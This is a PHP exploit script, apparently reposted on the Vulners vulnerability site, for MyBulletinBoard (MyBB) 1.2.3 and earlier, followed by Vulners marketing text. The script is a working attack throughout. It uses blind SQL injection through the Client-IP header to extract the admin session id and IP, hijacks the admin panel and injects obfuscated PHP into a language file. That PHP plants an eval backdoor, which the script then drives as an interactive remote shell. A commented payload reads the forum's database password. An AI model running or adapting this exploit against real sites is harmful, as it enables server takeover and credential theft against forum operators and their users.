`#!/usr/bin/php
<?php
/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);
# http://www.milw0rm.com/exploits/2012
# They corrected (not all) a lot of SQL requests which use the ipaddress, with $db->escape_string.
# They don't corrected the function (this is a choice ... the bad) and they forgot to correct 1 (only) SQL request.
# They must correct the problem at the source =)
#
if($argc < 3)
{
print("
--- MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploit ---
-----------------------------------------------------------------------
PHP conditions: none
Credits: DarkFig <[email protected]>
URL: http://www.acid-root.new.fr/
-----------------------------------------------------------------------
Usage: $argv[0] -url http://victim.com/ [Options]
Params: -url For example http://victim.com/myBB/
Options: -debug Debug mod activated (debug_mybb.html)
-truetime Server response time which returns true
-benchmark You can change the value used in benchmark()
-proxy If you wanna use a proxy <proxyhost:proxyport>
-proxyauth Basic authentification <proxyuser:proxypwd>
Note: If you have some problems use -debug, -benchmark, -truetime
-----------------------------------------------------------------------
");exit(1);
}
$url = getparam('url',1);
$debug = (getparam('debug')!='') ? 1 : 0;
$benchmark = (getparam('benchmark')!='') ? getparam('benchmark') : '1000000';
$proxy = getparam($proxy);
$proxyauth = getparam($proxyauth);
$backdoor = 'uploads/avatars/backdoor.php'; # inc/cache/backdoor.php
$filetoed = 'index.lang.php';
$xpl = new phpsploit();
$xpl->agent('Firefox');
if($proxy) $xpl->proxy($proxy);
if($proxyauth) $xpl->proxyauth($proxyauth);
if($debug) debug(1);
# There is two solutions to be logged in as administrator.
#
# SOLUTION NUMBER 1
# mysql> select * from mybb_users\G
# *************************** 1. row ***************************
# uid: 1
# username: root
# password: 39ac8681f5cf4fcd9c9c09719a618bd3
# salt: BFeJBOCF
# loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA...
#
# $xpl->post($url.'admin/index.php','username=root&password=toor&do=login&goto=');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...
#
# SOLUTION NUMBER 2
# mysql> select * from mybb_adminsessions\G
# *************************** 1. row ***************************
# sid: 81e267263b9254f3aaf670383bfbfec9
# uid: 1
# loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA
# ip: 127.0.0.1
# dateline: 1175443967
# lastactive: 1175444369
#
# $xpl->addheader('Client-IP','127.0.0.1');
# $xpl->get($url.'admin/index.php?adminsid=81e267263b9254f3aaf670383bfbfec9');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...
#
# I decided to use the solution number 2.
# We can also add an administrator (easily) ... but it's not interesting.
#
print "\nAdmin IP : "; $ip = sql_inject('ip');
print "\nAdmin sid: "; $sid = sql_inject('sid');
print "\nTrying to be logged in as administrator";
$xpl->addheader('Client-IP',$ip);
$xpl->get($url."admin/languages.php?adminsid=$sid");
# Trying to find the language
if(preg_match('#<input type="hidden" name="lang" value="(\S*)"#',$xpl->getcontent(),$langmatches)) $lang=$langmatches[1];
else $lang='english';
print "\nLanguage: $lang";
# Language configuration
$xpl->get($url."admin/languages.php?adminsid=$sid&action=edit&lang=$lang&editwith=0&file=$filetoed");
preg_match_all('#name="(.*)">(.*)</textarea>#',$xpl->getcontent(),$name_value);
# We can't use:
# - <? OR <?php
# - <script language="php">
# - ' OR "
#
$PHPCODE = '${${error_reporting(0)}}'
.'${${$handle=fopen('.chrit('./'.$backdoor).','.chrit('w').')}}'
.'${${fwrite($handle,'.chrit('<?php error_reporting(0);eval($_SERVER[HTTP_SHELL]);exit(0); ?>').')}}'
.'${${fclose($handle)}}';
$name_value[2][0] .= $PHPCODE;
$postdata=array(frmdt_url => $url.'admin/languages.php',
"adminsid" => $sid, "action" => "do_edit",
"lang" => $lang, "editwith" => 0,
"inadmin"=> 0, "file"=> $filetoed,
"Update Language Variables"=>" Update Language Variables");
for($i=0;$i<count($name_value[1]);$i++) $postdata[html_entity_decode($name_value[1][$i])] = html_entity_decode($name_value[2][$i]);
# print $xpl->showlastrequest();
$xpl->formdata($postdata);
# Trying to execute the php code
$xpl->get($url.'index.php');
# If not the default language
$xpl->get($url.'inc/languages/'.$lang.'/'.$filetoed);
print "\nThe php file should be created\n\$shell> ";
# Hello master
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
# ');include('../../inc/config.php');print $config['password'];//
$xpl->addheader('Shell',"system('$cmd');");
$xpl->get($url.$backdoor);
print $xpl->getcontent()."\n\$shell> ";
}
function sql_inject($field)
{
global $xpl,$url,$prefix,$debug,$result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; #,$fakeip
$sub=0;$string='';
if($field=='ip') {$a='44';$b='57';} # . 0-9
else {$a='46';$b='70';} # 0-9 A-Z
while(TRUE)
{
$sub++;
for($i=$a;$i<=$b;$i++)
{
# Random ip
$fakeip = rand(128,254).'.'
.rand(128,254).'.'
.rand(128,254).'.'
.rand(128,254);
# Calculation of the server response time which returns TRUE
if($i==$a) $f='TST';
# End of the string ?
elseif($i==($a+1)) $f='NULL';
# Test the char
else $f=$i;
# Table prefix
if($sub==1 AND $i==$a)
{
$xpl->addheader('Client-IP',$fakeip."'<script>alert(666)</script>");
$xpl->get($url.'index.php');
if(preg_match("#DELETE FROM (\S*)sessions#i",$xpl->getcontent(),$match)) $prefix=$match[1];
else $prefix='mybb_';
}
# +-class_session.php (#2)
# |
# 475. function create_session($uid=0)
# 476. {
# 477. global $db;
# 478. $speciallocs = $this->get_special_locations();
# 479.
# 480. // If there is a proper uid, delete by uid.
# 481. if($uid > 0)
# 482. {
# 483. $db->delete_query(TABLE_PREFIX."sessions", "uid=".$uid);
# 484. $onlinedata['uid'] = $uid;
# 485. }
# 486. // Else delete by ip.
# 487. else
# 488. { // $this->ipaddress = get_ip();
# 489. $db->delete_query(TABLE_PREFIX."sessions", "ip='".$this->ipaddress."'");
# 490. $onlinedata['uid'] = 0;
# 491. }
#
$sql = $fakeip."' OR ip=(SELECT IF(SUBSTR(";
$sql .= ($f=='TST') ? "(SELECT 1)" : "(SELECT $field FROM ${prefix}adminsessions ORDER BY lastactive DESC LIMIT 1)";
$sql .= ($f=='TST') ? ",1" : ",$sub";
$sql .= ($f=='TST') ? ",1)=CHAR(49)" : ",1)=CHAR($f)";
$sql .= ",BENCHMARK($benchmark,CHAR(66)),1)) #";
# +-functions.php (#1)
# |
# 1836. function get_ip()
# 1837. {
# 1838. if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
# 1839. {
# 1840. if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
# 1841. {
# 1842. foreach($addresses[0] as $key => $val)
# 1843. {
# 1844. if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
# 1845. {
# 1846. $ip = $val;
# 1847. break;
# 1848. }
# 1849. }
# 1850. }
# 1851. }
# 1852. if(!isset($ip))
# 1853. {
# 1854. if(isset($_SERVER['HTTP_CLIENT_IP']))
# 1855. {
# 1856. $ip = $_SERVER['HTTP_CLIENT_IP'];
# 1857. }
# 1858. else
# 1859. {
# 1860. $ip = $_SERVER['REMOTE_ADDR'];
# 1861. }
# 1862. }
# 1863. return $ip;
# 1864. }
#
$bef = time();
$xpl->reset('header');
$xpl->addheader('Client-IP',$sql);
$xpl->get($url.'index.php');
$aft = time();
if($f=='TST') $truetime=$aft-$bef;
if(getparam('truetime')!='') $truetime=getparam('truetime');
# Server response time >= Server response time which returns TRUE ?
$restime = $aft-$bef;
if($restime >= $truetime AND $f != 'TST') $result='TRUE';
else $result='FALSE';
# Debug mode activated
if($debug) debug('',$field);
# The tested char returns TRUE
if($result=='TRUE')
{
if($f!='NULL')
{
# Continue
print strtolower(chr($f));
$string .= chr($f);
break;
}
else
{
# End of the string
$xpl->reset('header');
return $string;
}
}
# Retry if no char found
if($f==$b) $sub--;
}
}
}
function debug($init='',$dafield='')
{
global $result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; #,$fakeip
if($init)
{
$handle = fopen("debug_mybb.html","w+");
$data = "<h1><div align='center'>MyBulletinBoard (MyBB) <= 1.2.3 Code Execution Exploit</div></h1>
<pre><table width='0' border='1' align='center' cellspacing='0'><tr>
<td align='center'><b>REQUEST TIME</b></td>
<td align='center'><b>RESPONSE TIME</b></td>
<td align='center'><b>TRUETIME</b></td>
<td align='center'><b>BENCHMARK</b></td>
<td align='center'><b>RESULT</b></td>";
# <td align='center'><b>IP</b></td>
$data .= "<td align='center'><b>FIELD</b></td>
<td align='center'><b>CHARSET</b></td>
<td align='center'><b>SUBSTR()</b></td>
<td align='center'><b>ORD()</b></td>
<td align='center'><b>CHAR()</b></td>";
fwrite($handle,$data);
fclose($handle);
}
else
{
$handle = fopen("debug_mybb.html","a");
$data = "<tr".(($result=='TRUE') ? " bgcolor='#FFFF00'" : "").">
<td align='center'> ".htmlentities($bef)." </td>
<td align='center'> ".htmlentities($aft)." </td>
<td align='center'> ".htmlentities($truetime)." </td>
<td align='center'> ".htmlentities($benchmark)." </td>
<td align='center'> ".htmlentities($result)." </td>";
# <td align='center'> ".htmlentities($fakeip)." </td>
$data .= "<td align='center'> ".htmlentities($dafield)." </td>
<td align='center'> ".htmlentities("$a-$b")." </td>
<td align='center'> ".htmlentities($sub)." </td>
<td align='center'> ".htmlentities($f)." </td>
<td align='center'> ".htmlentities(chr($f))." </td></tr>";
fwrite($handle,$data);
fclose($handle);
}
}
function chrit($string)
{
$char = '';
for($i=0;$i<strlen($string);$i++)
{
$char .= 'chr('.ord($string[$i]).')';
$char .= ($i != (strlen($string)-1)) ? '.' : '';
}
return $char;
}
function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) {
if(!empty($argv[$value+1])) return $argv[$value+1];
else return 1;
}
}
if($opt) exit("\n-$param parameter required");
else return;
}
?>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation